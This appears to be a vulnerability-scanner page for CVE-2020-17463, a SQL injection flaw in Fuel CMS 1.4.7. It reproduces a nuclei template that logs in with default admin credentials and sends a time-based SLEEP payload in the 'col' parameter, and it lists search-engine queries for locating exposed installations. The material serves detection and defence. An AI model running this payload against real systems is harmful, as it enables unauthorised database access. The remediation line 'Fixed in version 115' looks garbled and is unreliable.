Fuel CMS 1.4.7 - SQL Injection

Exploited in the wild. Listed by CISA on 2021-12-10; known to be used by ransomware.

criticalseverity

9.8CVSS score

89.7%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

FUEL CMS 1.4.7 allows SQL Injection via the col parameter to /pages/items, /permissions/items, or /navigation/items.

Impact

Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.

Fix

Fixed in version 115

How to confirm it

Send: GET /fuel/login/ ; POST /fuel/login/ ; @timeout: 10s
Positive when: duration>=6 and status_code_3 == 200 and contains(body_1, "FUEL CMS")

Run it with nuclei: nuclei -id CVE-2020-17463 -u <target>

The full check

id: CVE-2020-17463

info:
  name: Fuel CMS 1.4.7 - SQL Injection
  author: Thirukrishnan
  severity: critical
  description: |
    FUEL CMS 1.4.7 allows SQL Injection via the col parameter to /pages/items, /permissions/items, or /navigation/items.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: Fixed in version 115
  reference:
    - https://www.exploit-db.com/exploits/48741
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17463
    - http://packetstormsecurity.com/files/158840/Fuel-CMS-1.4.7-SQL-Injection.html
    - https://getfuelcms.com/
    - https://cwe.mitre.org/data/definitions/89.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-17463
    cwe-id: CWE-89
    epss-score: 0.89689
    epss-percentile: 0.9979
    cpe: cpe:2.3:a:thedaylightstudio:fuel_cms:1.4.7:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: thedaylightstudio
    product: fuel_cms
    shodan-query: http.title:"fuel cms"
    fofa-query: title="fuel cms"
    google-query: intitle:"fuel cms"
  tags: time-based-sqli,cve,cve2020,packetstorm,sqli,fuel-cms,kev,thedaylightstudio,vkev,vuln

http:
  - raw:
      - |
        GET /fuel/login/ HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /fuel/login/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}

        user_name={{username}}&password={{password}}&Login=Login&forward=
      - |
        @timeout: 10s
        GET /fuel/pages/items/?search_term=&published=&layout=&limit=50&view_type=list&offset=0&order=asc&col=location+AND+(SELECT+1340+FROM+(SELECT(SLEEP(6)))ULQV)&fuel_inline=0 HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Referer: {{RootURL}}

    payloads:
      username:
        - admin
      password:
        - admin
    attack: pitchfork
    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code_3 == 200'
          - 'contains(body_1, "FUEL CMS")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from